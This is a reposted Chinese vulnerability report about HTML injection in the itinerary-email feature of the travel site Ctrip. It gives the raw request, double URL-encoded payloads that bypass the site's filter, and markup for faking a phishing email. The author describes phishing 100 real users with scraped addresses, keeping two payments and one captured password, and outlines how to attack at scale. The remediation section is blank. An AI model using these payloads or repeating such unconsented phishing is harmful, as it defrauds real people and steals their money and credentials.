天天看點

一種可大規模定向釣魚攜程旅遊網千萬使用者的攻擊過程重放(轉載自wooyun)

詳細說明:

這兩天在外面旅遊又用起來攜程訂酒店,偶然看到這樣一個功能

一種可大規模定向釣魚攜程旅遊網千萬使用者的攻擊過程重放(轉載自wooyun)

可以給自己的郵箱發送一封自己的行程郵件,點開後預設的郵箱是自己賬戶綁定的郵箱,也可以自行修改為其他任意郵箱

一種可大規模定向釣魚攜程旅遊網千萬使用者的攻擊過程重放(轉載自wooyun)
一種可大規模定向釣魚攜程旅遊網千萬使用者的攻擊過程重放(轉載自wooyun)

來看一下郵件的内容,

一種可大規模定向釣魚攜程旅遊網千萬使用者的攻擊過程重放(轉載自wooyun)

如果我們能控制頁面輸出變量的話,那麼可以引發一場定向的釣魚攻擊

郵箱都是支援html标記的,那麼抓包來看一下,變量中所能控制的

code 區域

POST /Customer-API-Online/Ajax/AjaxMailJourney.aspx HTTP/1.1
Host: my.ctrip.com
Proxy-Connection: keep-alive
Content-Length: 118
Cache-Control: max-age=0
Origin: http://my.ctrip.com
If-Modified-Since: Thu, 01 Jan 1970 00:00:00 GMT
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer: http://my.ctrip.com/Customer-API-Online/MyJourney.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: *************************************************

UserName=頁面中輸出的使用者名,可控制&EmailTo=發往的郵箱目的位址&Consumer=&StartTime=&EndTime=&TargetCityName=&ItineraryType=-1&OrderStatusName=           
UserName=頁面中輸出的使用者名,可控制&EmailTo=發往的郵箱目的位址      

要能實作攻擊,首先的就是測試是否對長度有限制,如果限制了長度,那麼攻擊将可能變得很雞肋甚至根本無法利用

設定

UserName=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA      

結果如圖:

一種可大規模定向釣魚攜程旅遊網千萬使用者的攻擊過程重放(轉載自wooyun)

并沒有長度限制,而且因為架構超出問題,原來的行程單也無法正常顯示,進一步提供了有利的條件

既然不限制長度,那麼就來測試自定義html标簽的攻擊了

測試1:

UserName=<img src=https://www.baidu.com/img/bdlogo.png />      

傳回結果伺服器500錯誤:

一種可大規模定向釣魚攜程旅遊網千萬使用者的攻擊過程重放(轉載自wooyun)

攜程的中間件風險控制的規則應該是比對GET、POST(COOKIE沒有進行測試)中的高危行為,比如and 1=1、</>等,然後定義到錯誤頁面,如果同一IP連續多次通路該錯誤頁面,那麼就會在一段時間内屏蔽該IP位址

測試2,urlencode 1次 :

UserName=%3Cimg%20src=https://www.baidu.com/img/bdlogo.png%20/%3E      

傳回500,被防禦規則丢棄

測試3,urlencode 2次:

UserName=%253Cimg%2520src=https://www.baidu.com/img/bdlogo.png%2520/%253E      

傳回200,如圖,成功繞過了風險控制比對

一種可大規模定向釣魚攜程旅遊網千萬使用者的攻擊過程重放(轉載自wooyun)

看一下郵件:

一種可大規模定向釣魚攜程旅遊網千萬使用者的攻擊過程重放(轉載自wooyun)

百度君插入了

之後就是對頁面元素分析,如何插入一個最真實逼真的釣魚環境

舉個例子,比如要把後面跟着的“先生/女士…………”移動到第一個架構外

UserName=Wooyun html%253C/table%253E%253C/table%253E%253Ctable%253E%253Ctable%253E      

可以看到,第一個淡藍色方框内已經排除了其他元素,剩下的可以自定義了

一種可大規模定向釣魚攜程旅遊網千萬使用者的攻擊過程重放(轉載自wooyun)

由于洞主對前端設計、html這一塊實在是一個渣渣

盡力也隻能僞造了以下不忍直視的結果

一種可大規模定向釣魚攜程旅遊網千萬使用者的攻擊過程重放(轉載自wooyun)

将背景顔色設定為白色會好看點

一種可大規模定向釣魚攜程旅遊網千萬使用者的攻擊過程重放(轉載自wooyun)
一種可大規模定向釣魚攜程旅遊網千萬使用者的攻擊過程重放(轉載自wooyun)

資料庫裡随便選了100個攜程使用者的郵箱,發送了郵件進行釣魚測試

那麼問題來了,使用者哪裡來?

是否記得有一個這個漏洞:http://wooyun.org/bugs/wooyun-2014-077356

這個漏洞裡面的問題,在報告之前很久就發現了,但是覺得不是安全問題很多站點都有該問題,以前隻爬蟲收集過一部分使用者uid郵箱,一直躺在硬碟裡,剛好拿出來用部分

下午就有了結果,很快,這麼點錢我就不退了~~畢竟我不知道你們的支付寶。。。

一種可大規模定向釣魚攜程旅遊網千萬使用者的攻擊過程重放(轉載自wooyun)
一種可大規模定向釣魚攜程旅遊網千萬使用者的攻擊過程重放(轉載自wooyun)

隻有2條支付過來的記錄,不過如果大規模進行攻擊的話,還是很可怕的。

密碼釣魚也傳回了1條

一種可大規模定向釣魚攜程旅遊網千萬使用者的攻擊過程重放(轉載自wooyun)

然後另選100條其他郵箱資料,非攜程使用者

在http://cli.im/生成二維碼附上,内容為測試網站,做好IP統計

竟然有這麼多人掃了。。。。看來攜程的知名度還是有的,福利誘惑一般人扛不住

一種可大規模定向釣魚攜程旅遊網千萬使用者的攻擊過程重放(轉載自wooyun)

2種方式進行規模化攻擊:

1、直接導入郵箱變量進行fuzzing

2、可以一次性群發(注意最開始我提到的),發一次即可,一次50條郵箱,發太多怕被伺服器拒絕。

==============================

Conclusion 總結

1、我寫的這麼渣的釣魚頁面都能中招,看來大部分網民的安全意識還是很薄弱,如果換成前端大神@瘋狗 來精心僞造一頁面元素,說不定我都中招了。

2、安全不一定在于真正強的地方有多強。

3、風控規則仍需完善,urlencode2次就繞過了。

漏洞證明:

修複方案:

繼續閱讀